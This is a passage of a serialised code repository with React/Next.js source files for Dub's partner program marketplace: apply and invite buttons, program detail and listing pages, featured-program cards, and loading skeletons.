    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/marketplace/[programSlug]/header-controls.tsx",
    "content": "\"use client\";\n\nimport { acceptProgramInviteAction } from \"@/lib/actions/partners/accept-program-invite\";\nimport { getPartnerProfileChecklistProgress } from \"@/lib/network/get-partner-profile-checklist-progress\";\nimport { evaluateApplicationRequirements } from \"@/lib/partners/evaluate-application-requirements\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport usePartnerProfile from \"@/lib/swr/use-partner-profile\";\nimport useProgramEnrollment from \"@/lib/swr/use-program-enrollment\";\nimport useProgramEnrollments from \"@/lib/swr/use-program-enrollments\";\nimport { NetworkProgramProps } from \"@/lib/types\";\nimport { useProgramApplicationSheet } from \"@/ui/partners/program-application-sheet\";\nimport { Button, ProgressCircle, useKeyboardShortcut } from \"@dub/ui\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport Link from \"next/link\";\nimport { useParams, useRouter } from \"next/navigation\";\nimport { ReactNode, useMemo } from \"react\";\nimport { toast } from \"sonner\";\n\nexport function MarketplaceProgramHeaderControls({\n  program,\n}: {\n  program: NetworkProgramProps;\n}) {\n  const { programSlug } = useParams();\n  const { programEnrollments } = useProgramEnrollments();\n\n  const programEnrollmentStatus = programEnrollments?.find(\n    (programEnrollment) => programEnrollment.program.slug === programSlug,\n  )?.status;\n\n  if (programEnrollmentStatus === \"invited\") {\n    return <AcceptInviteButton key={program.id} program={program} />;\n  }\n\n  if (programEnrollmentStatus === \"approved\") {\n    return (\n      <Link href={`/programs/${program.slug}`}>\n        <Button text=\"View dashboard\" className=\"h-9 rounded-lg px-3\" />\n      </Link>\n    );\n  }\n\n  return <ApplyButton program={program} />;\n}\n\nfunction ApplyButton({ program }: { program: NetworkProgramProps }) {\n  const { programApplicationSheet, setIsOpen: setIsApplicationSheetOpen } =\n    useProgramApplicationSheet({\n      program,\n      backDestination: \"marketplace\",\n      onSuccess: () => mutatePrefix(\"/api/network/programs\"),\n    });\n\n  const { partner } = usePartnerProfile();\n\n  const { programEnrollment } = useProgramEnrollment();\n\n  const checklistProgress = useMemo(() => {\n    return partner\n      ? getPartnerProfileChecklistProgress({\n          partner,\n        })\n      : undefined;\n  }, [partner]);\n\n  const { reason } = evaluateApplicationRequirements({\n    applicationRequirements: program.applicationRequirements,\n    context: {\n      country: partner?.country,\n      email: partner?.email,\n    },\n  });\n\n  const requirementsNotMet =\n    reason === \"requirementsNotMet\"\n      ? \"You do not meet the eligibility requirements for this program\"\n      : undefined;\n\n  const disabledTooltip: ReactNode =\n    programEnrollment?.status === \"pending\" ? (\n      \"Your application is under review\"\n    ) : programEnrollment?.status &&\n      [\"banned\", \"rejected\", \"deactivated\"].includes(\n        programEnrollment.status,\n      ) ? (\n      `You were ${programEnrollment.status} from this program`\n    ) : checklistProgress && !checklistProgress.isComplete ? (\n      <div className=\"max-w-xs p-4\">\n        <div className=\"text-content-default text-sm leading-5\">\n          Complete your partner profile to apply\n        </div>\n        <Link\n          href=\"/profile\"\n          className=\"bg-bg-subtle mt-3 flex items-center justify-center gap-2 rounded-lg px-2.5 py-1.5\"\n        >\n          <ProgressCircle\n            progress={\n              checklistProgress.completedCount / checklistProgress.totalCount\n            }\n            className=\"text-green-500\"\n          />\n          <span className=\"text-content-default text-sm font-medium\">\n            {checklistProgress.completedCount} of {checklistProgress.totalCount}{\" \"}\n            tasks completed\n          </span>\n        </Link>\n      </div>\n    ) : (\n      requirementsNotMet\n    );\n\n  useKeyboardShortcut(\"a\", () => setIsApplicationSheetOpen(true), {\n    enabled: !disabledTooltip,\n  });\n\n  return (\n    <>\n      {programApplicationSheet}\n      <Button\n        text=\"Apply\"\n        shortcut=\"A\"\n        onClick={() => setIsApplicationSheetOpen(true)}\n        disabledTooltip={disabledTooltip}\n        className=\"h-9 rounded-lg\"\n      />\n    </>\n  );\n}\n\nfunction AcceptInviteButton({ program }: { program: NetworkProgramProps }) {\n  const router = useRouter();\n\n  const { executeAsync, isPending } = useAction(acceptProgramInviteAction, {\n    onSuccess: async () => {\n      await mutatePrefix(\"/api/partner-profile/programs\");\n      toast.success(\"Program invite accepted!\");\n      router.push(`/programs/${program.slug}`);\n    },\n    onError: ({ error }) => {\n      toast.error(error.serverError);\n    },\n  });\n\n  const onAccept = () => executeAsync({ programId: program.id });\n\n  useKeyboardShortcut(\"a\", onAccept, {\n    enabled: !isPending,\n  });\n\n  return (\n    <Button\n      text=\"Accept invite\"\n      shortcut=\"A\"\n      onClick={onAccept}\n      loading={isPending}\n      className=\"h-9 rounded-lg\"\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/marketplace/[programSlug]/loading.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\n\nexport default function MarketplaceProgramPageLoading() {\n  return (\n    <PageContent\n      title={\n        <div className=\"flex items-center gap-1.5\">\n          <div className=\"flex items-center gap-1\">\n            <div className=\"bg-bg-subtle flex size-8 shrink-0 items-center justify-center rounded-lg\">\n              <div className=\"size-4 animate-pulse rounded bg-neutral-200\" />\n            </div>\n            <div className=\"size-2.5 shrink-0 animate-pulse rounded bg-neutral-200\" />\n          </div>\n          <div className=\"flex min-w-0 items-center gap-1.5\">\n            <div className=\"h-7 w-32 animate-pulse rounded bg-neutral-200\" />\n            <div className=\"h-5 w-16 animate-pulse rounded bg-neutral-200\" />\n          </div>\n        </div>\n      }\n      controls={\n        <div className=\"h-9 w-20 animate-pulse rounded-lg bg-neutral-200\" />\n      }\n    >\n      <PageWidthWrapper>\n        <div className=\"relative\">\n          <div className=\"relative mx-auto max-w-screen-md p-8\">\n            <div className=\"flex items-start justify-between gap-4\">\n              <div className=\"size-16 animate-pulse rounded-full bg-neutral-200\" />\n            </div>\n\n            <div className=\"mt-6 flex flex-col\">\n              <div className=\"h-9 w-64 animate-pulse rounded bg-neutral-200\" />\n              <div className=\"mt-2 flex max-w-md items-center gap-1\">\n                <div className=\"h-5 w-full animate-pulse rounded bg-neutral-200\" />\n              </div>\n            </div>\n\n            <div className=\"mt-6 flex gap-8\">\n              <div>\n                <div className=\"h-3 w-16 animate-pulse rounded bg-neutral-200\" />\n                <div className=\"mt-1 flex items-center gap-1.5\">\n                  <div className=\"size-6 animate-pulse rounded-md bg-neutral-200\" />\n                  <div className=\"size-6 animate-pulse rounded-md bg-neutral-200\" />\n                </div>\n              </div>\n              <div className=\"min-w-0\">\n                <div className=\"h-3 w-16 animate-pulse rounded bg-neutral-200\" />\n                <div className=\"mt-1 flex items-center gap-1.5\">\n                  <div className=\"h-6 w-20 animate-pulse rounded-md bg-neutral-200\" />\n                </div>\n              </div>\n            </div>\n          </div>\n        </div>\n\n        <div className=\"mx-auto max-w-screen-md\">\n          <div className=\"mt-8 grid grid-cols-1 gap-5 py-6 sm:mt-8\">\n            <div className=\"h-8 w-96 animate-pulse rounded bg-neutral-200\" />\n            <div className=\"h-6 w-full max-w-md animate-pulse rounded bg-neutral-200\" />\n          </div>\n\n          <div className=\"mt-4\">\n            <div className=\"mb-2 h-5 w-20 animate-pulse rounded bg-neutral-200\" />\n            <div className=\"h-20 w-full animate-pulse rounded-lg bg-neutral-200\" />\n          </div>\n\n          <div className=\"mt-16 grid grid-cols-1 gap-10\">\n            <div className=\"h-64 w-full animate-pulse rounded-lg bg-neutral-200\" />\n            <div className=\"h-64 w-full animate-pulse rounded-lg bg-neutral-200\" />\n          </div>\n        </div>\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/marketplace/[programSlug]/page.tsx",
    "content": "import { getNetworkProgram } from \"@/lib/fetchers/get-network-program\";\nimport { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { BLOCK_COMPONENTS } from \"@/ui/partners/lander/blocks\";\nimport { LanderHero } from \"@/ui/partners/lander/lander-hero\";\nimport { LanderRewards } from \"@/ui/partners/lander/lander-rewards\";\nimport { ProgramEligibilityCard } from \"@/ui/partners/program-eligibility-card\";\nimport { ProgramCategory } from \"@/ui/partners/program-marketplace/program-category\";\nimport { ProgramRewardsDisplay } from \"@/ui/partners/program-marketplace/program-rewards-display\";\nimport { prisma } from \"@dub/prisma\";\nimport { ChevronRight, Shop, Tooltip } from \"@dub/ui\";\nimport { Globe } from \"@dub/ui/icons\";\nimport { OG_AVATAR_URL, cn, getDomainWithoutWWW } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { redirect } from \"next/navigation\";\nimport { ProgramStatusBadge } from \"../program-status-badge\";\nimport { MarketplaceProgramHeaderControls } from \"./header-controls\";\n\nexport const revalidate = 3600; // 1 hour\n\nexport async function generateStaticParams() {\n  const programs = await prisma.program.findMany({\n    where: {\n      addedToMarketplaceAt: {\n        not: null,\n      },\n    },\n    select: {\n      slug: true,\n    },\n  });\n\n  return programs.map((program) => ({\n    programSlug: program.slug,\n  }));\n}\n\nexport default async function MarketplaceProgramPage(props: {\n  params: Promise<{ programSlug: string }>;\n}) {\n  const params = await props.params;\n  const { programSlug } = params;\n\n  const program = await getNetworkProgram({\n    slug: programSlug,\n  });\n\n  if (!program) {\n    redirect(\"/programs/marketplace\");\n  }\n\n  const isDarkImage = program.marketplaceHeaderImage?.includes(\"dark\");\n\n  return (\n    <PageContent\n      title={\n        <div className=\"flex items-center gap-1.5\">\n          <div className=\"flex items-center gap-1\">\n            <Link\n              href=\"/programs/marketplace\"\n              className=\"bg-bg-subtle hover:bg-bg-emphasis flex size-8 shrink-0 items-center justify-center rounded-lg transition-[transform,background-color] duration-150 active:scale-95\"\n            >\n              <Shop className=\"text-content-default size-4\" />\n            </Link>\n            <ChevronRight className=\"text-content-subtle size-2.5 shrink-0 [&_*]:stroke-2\" />\n          </div>\n\n          <div className=\"flex min-w-0 items-center gap-1.5\">\n            <span className=\"min-w-0 truncate text-lg font-semibold leading-7 text-neutral-900\">\n              Program details\n            </span>\n            <ProgramStatusBadge program={program} />\n          </div>\n        </div>\n      }\n      controls={<MarketplaceProgramHeaderControls program={program} />}\n    >\n      <PageWidthWrapper className=\"pb-20\">\n        <div\n          className={cn(\n            \"relative\",\n            program.featuredOnMarketplaceAt &&\n              \"border-border-subtle overflow-hidden rounded-xl border\",\n          )}\n        >\n          {program.featuredOnMarketplaceAt &&\n            program.marketplaceHeaderImage && (\n              <>\n                <img\n                  src={program.marketplaceHeaderImage}\n                  alt={program.name}\n                  className=\"absolute inset-0 size-full object-cover\"\n                />\n                {!isDarkImage && (\n                  <div className=\"absolute inset-0 size-full bg-gradient-to-t from-white via-white/75 to-transparent\" />\n                )}\n              </>\n            )}\n          <div className=\"relative mx-auto max-w-screen-md px-4 py-8 sm:px-0\">\n            <img\n              src={program.logo || `${OG_AVATAR_URL}${program.name}`}\n              alt={program.name}\n              className=\"size-16 rounded-full border border-white/20\"\n            />\n\n            <div className=\"mt-6 flex flex-col\">\n              <span\n                className={cn(\n                  \"text-3xl font-semibold\",\n                  isDarkImage && \"text-content-inverted\",\n                )}\n              >\n                {program.name}\n              </span>\n\n              <div\n                className={cn(\n                  \"mt-2 flex max-w-md items-center gap-1\",\n                  isDarkImage && \"text-content-inverted/90\",\n                )}\n              >\n                {program.description ||\n                  `${program.name} is a program in the Dub Partner Network. Join the network to start partnering with them.`}\n              </div>\n            </div>\n\n            <div className=\"mt-6 flex gap-8\">\n              {Boolean(program.rewards?.length || program.discount) && (\n                <div>\n                  <span\n                    className={cn(\n                      \"block text-xs font-medium\",\n                      isDarkImage\n                        ? \"text-content-inverted\"\n                        : \"text-neutral-400\",\n                    )}\n                  >\n                    Rewards\n                  </span>\n                  <ProgramRewardsDisplay\n                    rewards={program.rewards}\n                    discount={program.discount}\n                    isDarkImage={isDarkImage}\n                    className=\"mt-1\"\n                    descriptionClassName=\"max-w-[240px]\"\n                  />\n                </div>\n              )}\n              {Boolean(program.categories?.length) && (\n                <div className=\"min-w-0\">\n                  <span\n                    className={cn(\n                      \"block text-xs font-medium\",\n                      isDarkImage\n                        ? \"text-content-inverted\"\n                        : \"text-neutral-400\",\n                    )}\n                  >\n                    Category\n                  </span>\n                  <div className=\"mt-1 flex items-center gap-1.5\">\n                    {program.categories\n                      .slice(0, 1)\n                      ?.map((category) => (\n                        <ProgramCategory\n                          key={category}\n                          category={category}\n                          className={cn(isDarkImage && \"text-content-inverted\")}\n                        />\n                      ))}\n                    {program.categories.length > 1 && (\n                      <Tooltip\n                        content={\n                          <div className=\"flex flex-col gap-0.5 p-2\">\n                            {program.categories.slice(1).map((category) => (\n                              <ProgramCategory\n                                key={category}\n                                category={category}\n                                className={cn(\n                                  isDarkImage && \"text-content-inverted\",\n                                )}\n                              />\n                            ))}\n                          </div>\n                        }\n                      >\n                        <div\n                          className={cn(\n                            \"-ml-1.5 flex size-6 items-center justify-center rounded-md text-xs font-medium\",\n                            isDarkImage && \"text-content-inverted/70\",\n                          )}\n                        >\n                          +{program.categories.length - 1}\n                        </div>\n                      </Tooltip>\n                    )}\n                  </div>\n                </div>\n              )}\n              {program.url && (\n                <div className=\"min-w-0\">\n                  <span className=\"block text-xs font-medium text-neutral-400\">\n                    Website\n                  </span>\n                  <Link\n                    href={program.url}\n                    target=\"_blank\"\n                    rel=\"noopener noreferrer\"\n                    className={cn(\n                      \"mt-1 flex max-w-[220px] items-center gap-1.5 text-sm font-medium\",\n                      isDarkImage\n                        ? \"text-content-inverted/90 hover:text-content-inverted\"\n                        : \"text-content-default hover:text-content-emphasis\",\n                    )}\n                  >\n                    <Globe className=\"size-4 shrink-0\" />\n                    <span className=\"truncate\">\n                      {getDomainWithoutWWW(program.url)} ↗\n                    </span>\n                  </Link>\n                </div>\n              )}\n            </div>\n          </div>\n        </div>\n\n        <div className=\"mx-auto max-w-screen-md\">\n          <LanderHero\n            program={program}\n            landerData={program.landerData || {}}\n            showLabel={false}\n            className=\"mt-8 sm:mt-8\"\n            heading=\"h2\"\n            titleClassName=\"text-2xl\"\n          />\n\n          <LanderRewards\n            className=\"mt-4\"\n            rewards={program.rewards || []}\n            discount={program.discount || null}\n            bounties={program.bounties}\n          />\n\n          {program.applicationRequirements?.length ? (\n            <ProgramEligibilityCard\n              requirements={program.applicationRequirements}\n            />\n          ) : null}\n\n          {program.landerData && (\n            <div className=\"mt-16 grid grid-cols-1 gap-10\">\n              {program.landerData.blocks.map((block, idx) => {\n                const Component = BLOCK_COMPONENTS[block.type];\n                return Component ? (\n                  <Component\n                    key={idx}\n                    block={block}\n                    group={{ logo: program.logo }}\n                  />\n                ) : null;\n              })}\n            </div>\n          )}\n        </div>\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/marketplace/featured-program-card.tsx",
    "content": "import { NetworkProgramProps } from \"@/lib/types\";\nimport { ProgramCategory } from \"@/ui/partners/program-marketplace/program-category\";\nimport { ProgramRewardsDisplay } from \"@/ui/partners/program-marketplace/program-rewards-display\";\nimport { Tooltip, useRouterStuff } from \"@dub/ui\";\nimport { OG_AVATAR_URL, cn } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { ProgramStatusBadge } from \"./program-status-badge\";\n\nexport function FeaturedProgramCard({\n  program,\n}: {\n  program: NetworkProgramProps;\n}) {\n  const { queryParams } = useRouterStuff();\n\n  const isDarkImage = program.marketplaceHeaderImage?.includes(\"-dark\");\n\n  return (\n    <Link\n      href={`/programs/marketplace/${program.slug}`}\n      className=\"border-border-subtle relative block h-full overflow-hidden rounded-xl border p-6\"\n    >\n      {program.marketplaceHeaderImage && (\n        <>\n          <img\n            src={program.marketplaceHeaderImage}\n            alt={program.name}\n            className=\"absolute inset-0 size-full object-cover\"\n          />\n          <div\n            className={cn(\n              \"absolute inset-x-0 bottom-0 h-1/2 backdrop-blur-[2px] xl:hidden\",\n              isDarkImage\n                ? \"bg-gradient-to-t from-black/50 to-transparent\"\n                : \"bg-gradient-to-t from-white/50 to-transparent\",\n            )}\n            aria-hidden\n          />\n        </>\n      )}\n\n      <div className=\"relative\">\n        <div className=\"flex justify-between gap-4\">\n          <img\n            src={program.logo || `${OG_AVATAR_URL}${program.name}`}\n            alt={program.name}\n            className=\"size-12 rounded-full border border-white/20\"\n          />\n\n          <ProgramStatusBadge program={program} />\n        </div>\n\n        <div className=\"mt-10 flex flex-col\">\n          <span\n            className={cn(\n              \"text-3xl font-semibold\",\n              isDarkImage && \"text-content-inverted\",\n            )}\n          >\n            {program.name}\n          </span>\n\n          <div\n            className={cn(\n              \"mt-1 line-clamp-2 max-w-sm text-sm\",\n              isDarkImage && \"text-content-inverted\",\n            )}\n          >\n            {program.description ||\n              `${program.name} is a program in the Dub Partner Network. Join the network to start partnering with them.`}\n          </div>\n\n          <div className=\"mt-5 flex gap-8\">\n            {Boolean(program.rewards?.length || program.discount) && (\n              <div>\n                <span\n                  className={cn(\n                    \"text-content-subtle block text-xs font-medium\",\n                    isDarkImage && \"text-content-inverted/80\",\n                  )}\n                >\n                  Rewards\n                </span>\n                <ProgramRewardsDisplay\n                  rewards={program.rewards}\n                  discount={program.discount}\n                  isDarkImage={isDarkImage}\n                  onRewardClick={(reward) =>\n                    queryParams({\n                      set: {\n                        rewardType: reward.event,\n                      },\n                      del: \"page\",\n                    })\n                  }\n                  onDiscountClick={() =>\n                    queryParams({\n                      set: {\n                        rewardType: \"discount\",\n                      },\n                      del: \"page\",\n                    })\n                  }\n                  className=\"hover:bg-bg-default/10 active:bg-bg-default/20 mt-2\"\n                  iconClassName=\"hover:bg-bg-default/10 active:bg-bg-default/20\"\n                  descriptionClassName=\"max-w-[240px]\"\n                />\n              </div>\n            )}\n            {Boolean(program.categories.length) && (\n              <div className=\"min-w-0\">\n                <span\n                  className={cn(\n                    \"text-content-subtle block text-xs font-medium\",\n                    isDarkImage && \"text-content-inverted/80\",\n                  )}\n                >\n                  Category\n                </span>\n                <div className=\"mt-2 flex items-center gap-1.5\">\n                  {program.categories.slice(0, 1)?.map((category) => (\n                    <ProgramCategory\n                      key={category}\n                      category={category}\n                      onClick={() =>\n                        queryParams({\n                          set: {\n                            category,\n                          },\n                          del: \"page\",\n                        })\n                      }\n                      className={cn(\n                        \"hover:bg-bg-default/10 active:bg-bg-default/20\",\n                        isDarkImage && \"text-content-inverted\",\n                      )}\n                    />\n                  ))}\n                  {program.categories.length > 1 && (\n                    <Tooltip\n                      content={\n                        <div className=\"flex flex-col gap-0.5 p-2\">\n                          {program.categories.slice(1).map((category) => (\n                            <ProgramCategory\n                              key={category}\n                              category={category}\n                              onClick={() =>\n                                queryParams({\n                                  set: {\n                                    category,\n                                  },\n                                  del: \"page\",\n                                })\n                              }\n                            />\n                          ))}\n                        </div>\n                      }\n                    >\n                      <div\n                        className={cn(\n                          \"-ml-1.5 flex size-6 items-center justify-center rounded-md text-xs font-medium\",\n                          isDarkImage && \"text-content-inverted/80\",\n                        )}\n                      >\n                        +{program.categories.length - 1}\n                      </div>\n                    </Tooltip>\n                  )}\n                </div>\n              </div>\n            )}\n          </div>\n        </div>\n      </div>\n    </Link>\n  );\n}\n\nexport function FeaturedProgramCardSkeleton() {\n  return (\n    <div className=\"border-border-subtle relative h-full overflow-hidden rounded-xl border p-6\">\n      <div className=\"relative\">\n        <div className=\"flex justify-between gap-4\">\n          <div className=\"size-12 animate-pulse rounded-full bg-neutral-200\" />\n        </div>\n\n        <div className=\"mt-10 flex flex-col\">\n          {/* Name - text-3xl font-semibold is typically ~36px height */}\n          <div className=\"h-9 w-40 animate-pulse rounded bg-neutral-200\" />\n\n          {/* Description - text-sm single line, ~20px height */}\n          <div className=\"mt-1 max-w-sm\">\n            <div className=\"h-5 w-64 animate-pulse rounded bg-neutral-200\" />\n          </div>\n\n          {/* Rewards/Category section - matches actual card structure with mt-5 */}\n          <div className=\"mt-5 flex gap-8\">\n            <div>\n              <div className=\"h-4 w-12 animate-pulse rounded bg-neutral-200\" />\n              <div className=\"mt-2 h-6 w-24 animate-pulse rounded bg-neutral-200\" />\n            </div>\n          </div>\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/marketplace/featured-programs.tsx",
    "content": "\"use client\";\n\nimport { NetworkProgramProps } from \"@/lib/types\";\nimport {\n  Carousel,\n  CarouselContent,\n  CarouselItem,\n  CarouselNavBar,\n} from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport { ComponentProps } from \"react\";\nimport useSWR from \"swr\";\nimport {\n  FeaturedProgramCard,\n  FeaturedProgramCardSkeleton,\n} from \"./featured-program-card\";\n\nexport function FeaturedPrograms() {\n  const { data: programs, error } = useSWR<NetworkProgramProps[]>(\n    `/api/network/programs?featured=true`,\n    fetcher,\n    { revalidateOnFocus: false, keepPreviousData: true },\n  );\n\n  return programs?.length === 0 || error ? null : (\n    <div>\n      <h2 className=\"text-content-emphasis text-base font-semibold\">\n        Featured programs\n      </h2>\n      <div className=\"mt-4\">\n        <Carousel autoplay={{ delay: 5000 }} opts={{ loop: true }}>\n          <CarouselContent className=\"items-stretch\">\n            {programs ? (\n              programs.map((program) => (\n                <CarouselCard key={program.id} program={program} />\n              ))\n            ) : (\n              <>\n                <CarouselItem className=\"basis-full\">\n                  <FeaturedProgramCardSkeleton />\n                </CarouselItem>\n                <CarouselItem className=\"basis-full\">\n                  <FeaturedProgramCardSkeleton />\n                </CarouselItem>\n              </>\n            )}\n          </CarouselContent>\n          <div className=\"mt-2\">\n            <CarouselNavBar />\n          </div>\n        </Carousel>\n      </div>\n    </div>\n  );\n}\n\nconst CarouselCard = (props: ComponentProps<typeof FeaturedProgramCard>) => {\n  return (\n    <CarouselItem className=\"basis-full\">\n      <FeaturedProgramCard {...props} />\n    </CarouselItem>\n  );\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/marketplace/layout.tsx",
    "content": "\"use client\";\n\nimport { PropsWithChildren } from \"react\";\n\nexport default function MarketplaceLayout({ children }: PropsWithChildren) {\n  return children;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/marketplace/marketplace-empty-state.tsx",
    "content": "import { AnimatedEmptyState } from \"@/ui/shared/animated-empty-state\";\nimport { Button } from \"@dub/ui\";\n\nexport function MarketplaceEmptyState({\n  isFiltered,\n  onClearAllFilters,\n}: {\n  isFiltered: boolean;\n  onClearAllFilters: () => void;\n}) {\n  return (\n    <AnimatedEmptyState\n      title=\"No programs found\"\n      description={\n        isFiltered ? (\n          <>\n            Press{\" \"}\n            <span className=\"text-content-default bg-bg-emphasis rounded-md px-1 py-0.5 text-xs font-semibold\">\n              Esc\n            </span>{\" \"}\n            to clear all filters.\n          </>\n        ) : (\n          \"There are no programs for you to discover yet.\"\n        )\n      }\n      className=\"border-none md:min-h-[400px]\"\n      cardClassName=\"py-3\"\n      cardCount={2}\n      cardContent={() => (\n        <div className=\"flex grow items-center gap-4\">\n          <div className=\"size-9 shrink-0 rounded-full bg-neutral-200\" />\n          <div className=\"flex grow flex-col gap-2\">\n            <div className=\"h-2.5 w-full min-w-0 rounded bg-neutral-200\" />\n            <div className=\"h-2.5 w-12 min-w-0 rounded bg-neutral-200\" />\n          </div>\n        </div>\n      )}\n      addButton={\n        isFiltered ? (\n          <Button\n            type=\"button\"\n            text=\"Clear all filters\"\n            className=\"h-9 rounded-lg\"\n            onClick={onClearAllFilters}\n          />\n        ) : undefined\n      }\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/marketplace/page-client.tsx",
    "content": "\"use client\";\n\nimport useNetworkProgramsCount from \"@/lib/swr/use-network-programs-count\";\nimport { NetworkProgramProps } from \"@/lib/types\";\nimport { PROGRAM_NETWORK_MAX_PAGE_SIZE } from \"@/lib/zod/schemas/program-network\";\nimport { SearchBoxPersisted } from \"@/ui/shared/search-box\";\nimport {\n  AnimatedSizeContainer,\n  Filter,\n  PaginationControls,\n  usePagination,\n  useRouterStuff,\n} from \"@dub/ui\";\nimport { cn, fetcher } from \"@dub/utils\";\nimport useSWR from \"swr\";\nimport { FeaturedPrograms } from \"./featured-programs\";\nimport { MarketplaceEmptyState } from \"./marketplace-empty-state\";\nimport { ProgramCard, ProgramCardSkeleton } from \"./program-card\";\nimport ProgramSort from \"./program-sort\";\nimport { useProgramNetworkFilters } from \"./use-program-network-filters\";\n\nexport function ProgramMarketplacePageClient() {\n  const { getQueryString } = useRouterStuff();\n\n  const { data: programsCount, error: countError } = useNetworkProgramsCount();\n\n  const {\n    data: programs,\n    error,\n    isValidating,\n  } = useSWR<NetworkProgramProps[]>(\n    `/api/network/programs${getQueryString()}`,\n    fetcher,\n    { revalidateOnFocus: false, keepPreviousData: true },\n  );\n\n  const { pagination, setPagination } = usePagination(\n    PROGRAM_NETWORK_MAX_PAGE_SIZE,\n  );\n\n  const {\n    filters,\n    activeFilters,\n    isFiltered,\n    onSelect,\n    onRemove,\n    onRemoveAll,\n  } = useProgramNetworkFilters();\n\n  return (\n    <div className=\"flex flex-col gap-6\">\n      <FeaturedPrograms />\n      <div>\n        <div className=\"xs:flex-row xs:items-center flex flex-col justify-between gap-4\">\n          <div className=\"flex items-center gap-2\">\n            <Filter.Select\n              className=\"h-9 w-full rounded-lg md:w-fit\"\n              filters={filters}\n              activeFilters={activeFilters}\n              onSelect={onSelect}\n              onRemove={onRemove}\n            />\n            <ProgramSort />\n          </div>\n          <SearchBoxPersisted\n            placeholder=\"Search the marketplace...\"\n            inputClassName=\"md:w-[19rem] h-9 rounded-lg\"\n          />\n        </div>\n        <AnimatedSizeContainer height>\n          <div>\n            <div className={cn(\"pt-3\", !isFiltered && \"hidden\")}>\n              <Filter.List\n                filters={filters}\n                activeFilters={activeFilters}\n                onSelect={onSelect}\n                onRemove={onRemove}\n                onRemoveAll={onRemoveAll}\n              />\n            </div>\n          </div>\n        </AnimatedSizeContainer>\n      </div>\n\n      {error || countError ? (\n        <div className=\"text-content-subtle py-12 text-sm\">\n          Failed to load programs\n        </div>\n      ) : !programs || programs?.length ? (\n        <div>\n          <div className=\"min-h-[300px]\">\n            <div\n              className={cn(\n                \"@4xl/page:grid-cols-3 @xl/page:grid-cols-2 grid grid-cols-1 gap-4 transition-opacity lg:gap-6\",\n                isValidating && \"opacity-50\",\n              )}\n            >\n              {programs\n                ? programs.map((program) => (\n                    <ProgramCard key={program.id} program={program} />\n                  ))\n                : [...Array(5)].map((_, idx) => (\n                    <ProgramCardSkeleton key={idx} />\n                  ))}\n            </div>\n          </div>\n          <div className=\"sticky bottom-0 mt-4 rounded-b-[inherit] border-t border-neutral-200 bg-white px-3.5 py-2\">\n            <PaginationControls\n              pagination={pagination}\n              setPagination={setPagination}\n              totalCount={programsCount || 0}\n              unit={(p) => `program${p ? \"s\" : \"\"}`}\n            />\n          </div>\n        </div>\n      ) : (\n        <MarketplaceEmptyState\n          isFiltered={isFiltered}\n          onClearAllFilters={onRemoveAll}\n        />\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/marketplace/page.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { ProgramMarketplacePageClient } from \"./page-client\";\n\nexport default function PartnersDashboard() {\n  return (\n    <PageContent\n      title=\"Program Marketplace\"\n      titleInfo={{\n        title:\n          \"Explore the Dub program marketplace to discover new programs, learn what rewards they offer, and apply to the ones that fit your content and audience.\",\n        href: \"https://dub.co/help/article/program-marketplace\",\n      }}\n    >\n      <PageWidthWrapper>\n        <ProgramMarketplacePageClient />\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/marketplace/program-card.tsx",
    "content": "import { NetworkProgramProps } from \"@/lib/types\";\nimport { ProgramCategory } from \"@/ui/partners/program-marketplace/program-category\";\nimport { ProgramRewardsDisplay } from \"@/ui/partners/program-marketplace/program-rewards-display\";\nimport { Tooltip, useRouterStuff } from \"@dub/ui\";\nimport { OG_AVATAR_URL } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { ProgramStatusBadge } from \"./program-status-badge\";\n\nexport function ProgramCard({ program }: { program: NetworkProgramProps }) {\n  const { queryParams } = useRouterStuff();\n\n  return (\n    <Link\n      href={`/programs/marketplace/${program.slug}`}\n      className=\"border-border-subtle hover:drop-shadow-card-hover rounded-xl border bg-white p-6 transition-[filter]\"\n    >\n      <div className=\"flex justify-between gap-4\">\n        <img\n          src={program.logo || `${OG_AVATAR_URL}${program.name}`}\n          alt={program.name}\n          className=\"size-12 rounded-full\"\n        />\n\n        <ProgramStatusBadge program={program} />\n      </div>\n\n      <div className=\"mt-4 flex flex-col\">\n        <span className=\"text-content-emphasis text-base font-semibold\">\n          {program.name}\n        </span>\n\n        <div className=\"text-content-subtle mt-1 line-clamp-2 text-sm\">\n          {program.description ||\n            `${program.name} is a program in the Dub Partner Network. Join the network to start partnering with them.`}\n        </div>\n\n        <div className=\"mt-4 flex gap-4\">\n          {Boolean(program.rewards?.length || program.discount) && (\n            <div>\n              <span className=\"text-content-muted block text-xs font-medium\">\n                Rewards\n              </span>\n              <ProgramRewardsDisplay\n                rewards={program.rewards}\n                discount={program.discount}\n                onRewardClick={(reward) =>\n                  queryParams({\n                    set: {\n                      rewardType: reward.event,\n                    },\n                    del: \"page\",\n                  })\n                }\n                onDiscountClick={() =>\n                  queryParams({\n           